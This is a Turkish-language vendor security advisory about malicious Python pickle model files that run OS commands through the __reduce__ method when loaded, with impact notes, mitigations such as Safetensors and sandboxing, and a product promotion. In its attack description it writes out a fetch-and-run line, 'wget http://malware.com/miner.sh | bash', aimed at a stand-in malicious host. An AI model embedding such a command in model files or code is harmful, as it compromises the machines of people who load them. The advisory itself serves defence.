EresusSecurity
Araştırmalara Dön
Deserialization Threats

Python Pickle Arbitrary Code Execution (Rastgele Kod Çalıştırma) Algılandı

Eresus Security Research TeamGüvenlik Araştırmacısı
10 Nisan 2026
4 dk okuma

Genel Bakış

Python diline ait yerleşik pickle kütüphanesi, karmaşık veri nesnelerini serileştirmek (kaydetmek) ve geri okumak (deserialization) için onlarca yıldır ML sektörünün altın standardıydı. Modellerin ağırlıkları, veri setleri ve sinir ağı haritaları sıklıkla .pkl, .bin, .pt veya .pth uzantılı dosyalar halinde depolanır.

Bununla birlikte, pickle mimarisi doğalgaz kaçağı kadar tehlikelidir. Python resmi belgeleri dahi "Güvenilmeyen kaynaklardan alınan pickle verilerini kesinlikle okutmayın, rastgele kod çalıştırabilir!" şeklinde uyarılar yayımlamıştır. Çünkü Pickle veriyi okurken aslında ufak bir sanal makineyi (VM) çalıştırıp komut kümelerini (opcodes) işler.

Eğer Eresus Sentinel ağınızda bir PAIT-PKL-100 alarmı verdiyse; yüklemeye çalıştığınız Python model paketinin içinde doğrudan işletim sistemi komutu (OS commands) çalıştırmaya programlanmış, kötü niyetli ve silahlandırılmış kancalar tespit edilmiş demektir.

Suiistimalin Kalbi: __reduce__ Metodu

Tehdit aktörleri standart bir modeli zehirlemek için Python'un meşhur "Sihirli Metodu" (Magic Method) olan __reduce__ yapısını kurgularlar. Bu kod, dosya belleğe yüklenirken objenin nasıl deşifre edileceğine karar verir. Saldırgan __reduce__ metodundan Python'un kendi sistem okuyucusu olan os.system veya subprocess kütüphanesini çağırır. Modelin içine ise siber eylem olan wget http://malware.com/miner.sh | bash emrini gömer.

Kurumdaki veri bilimciniz merak edip sadece pickle.load(dosya) komutunu girip modeli "incelemek" istediği o ilk milisaniyede komut çalışır ve şirket bilgisayarının kontrolü karşıya geçer.

Saldırı Nasıl Gerçekleşiyor (How The Attack Works)

Korsanlar, Hugging Face, GitHub veya Kaggle gibi açık platformlara "En iyi Yapay Zeka Modeli" maskesiyle zehirli .pkl dosyaları yüklerler. Kullanıcı, modeli makinesine indirip Python'da okutmaya başladığı an enfekte olmuş dizin (Bytecodes) çalışarak sunucuya arka kapı kurar.

sequenceDiagram
    participant Saldirgan as Saldırgan
    participant Dosya_Alani as Model Havuzu (Hugging Face)
    participant MLOps_Uzmani as Kurban (Veri Bilimci)
    participant Python_VM as Python Interpreter
    participant OS as Kurbanın İşletim Sistemi

    Saldirgan->>Dosya_Alani: __reduce__ ile 'os.system' çağıran zehirli bir model eklenir
    Saldirgan->>Dosya_Alani: Zehirli dosya (model.pkl) adıyla MLOps sitelerinde yayımlanır
    MLOps_Uzmani->>Dosya_Alani: Kurum içi projede denemek üzere modeli bilgisayarına indirir
    MLOps_Uzmani->>Python_VM: Hiçbir şüphe duymadan 'pickle.load(model)' komutunu yazar
    Python_VM->>OS: Veri okunurken arkadaki sistem komutu RAM'e çıkar ve çalıştırılır
    OS-->>Saldirgan: Cihazın tam yetkisi, şirket dosyaları ve şifreler saldırgana açılır

Önemli Noktalar

  • Sıfır-Tık (Zero-Click) Sömürü: Modelin aktif edilmesine, bir tahmin yapmasına veya kod derlenmesine gerek yoktur. Zafiyet sadece dosyayı RAM'e çeken "load" emriyle patlak verir.
  • Geleneksel Antivirüslerin Körlüğü: Zehirli Pickle kodları doğrudan Python'un bytecode dökümleriyle işlendiğinden .exe veya script formatlarında gizlenmezler. Genelde şirket güvenlik duvarlarını (EDR/XDR sistemlerini) rahatlıkla baypas ederler.

Etkisi

Zehirli bir .pkl veya .pt (PyTorch) modelini okutmak, saldırgana kodu yürüten kullanıcının makinesindeki tüm yetkileri teslim eder. Kurban veri bilimcisinin ortamındaysa .aws/credentials ve özel VPN sertifikaları çalınır. Eğer bu dosya doğrudan üretim (Production / Inference) sanal sunucularında okutulursa; Kubernetes altyapısı rehin alınabilir ve kurumun o an işlediği müşterilere ait gerçek veriler saldırganın komuta kontrol (C2) sunucusuna pompalanır.

En İyi Çözüm Pratikleri

Yapay zeka operasyon ağınızı serileştirme saldırılarına (Deserialization attacks) kapatmak için:

  • Pickle Formundan Kesinlikle Vazgeçin: Kurum içindeki MLOps yapınızı Pickle tabanlı kaydetme/yükleme araçlarından arındırın. İçerisinde kod çalışmasına mani olan, salt-veri barındırıp sadece matematik matrislerini saklayan Safetensors veya ONNX formatlarına geçiş yapın.
  • Kaynağı Belirsiz Platformlar: Popüler ama doğrulanmamış şahsi yayıncılardan (Hugging Face user hesapları gibi) alınan dosyaları şirketin üretim hattına dahil etmeyin.
  • İzole Okuma: Eski tip .pkl ağırlıklarını illa okutmanız gerekiyorsa, bunu internet erişimi olmayan özel "Sandbox" (Kum havuzu) containerlarında gerçekleştirin.

İyileştirme (Remediation)

Eresus Sentinel siber ağınızda PAIT-PKL-100 koduyla bir model durdurduysa derhal sunucuyu fişten çekip karantinaya alın. Söz konusu şüpheli dosyayı tüm şirket repolarından ve developer bilgisayarlarından fiziksel olarak silin. Olaydan hemen önce siber adli bilişim analizi yaparak kodun sistemden veri sızdırıp sızdırmadığını teyit edin. Gelecekte MLOps süreçlerinizi her zaman Safetensors kurgularıyla yürütmeye özen gösterin.

İleri Okumalar ve Kaynaklar (Further Reading)

Yapay zeka modellerinin taşıdığı format güvenlik zafiyetleri üzerine derinleşmek için aşağıdaki akademik ve kurumsal analiz raporlarını okuyabilirsiniz:


📥 Eresus Sentinel Pickle Zafiyetlerini Cihazınıza Yüklenmeden Parçalar Yapay zeka mühendisleriniz daha kodu çağıran load() tuşuna basmadan önce, Eresus Sentinel eski sistem .pkl, .bin, .pt dosyalarının içine statik okumalar yaparak gömülü __reduce__ tuzaklarını tespit ve imha eder. ML ağınızı sürpriz saldırılardan koruyun.

Daha Fazla Bilgi | Demo Randevusu Alın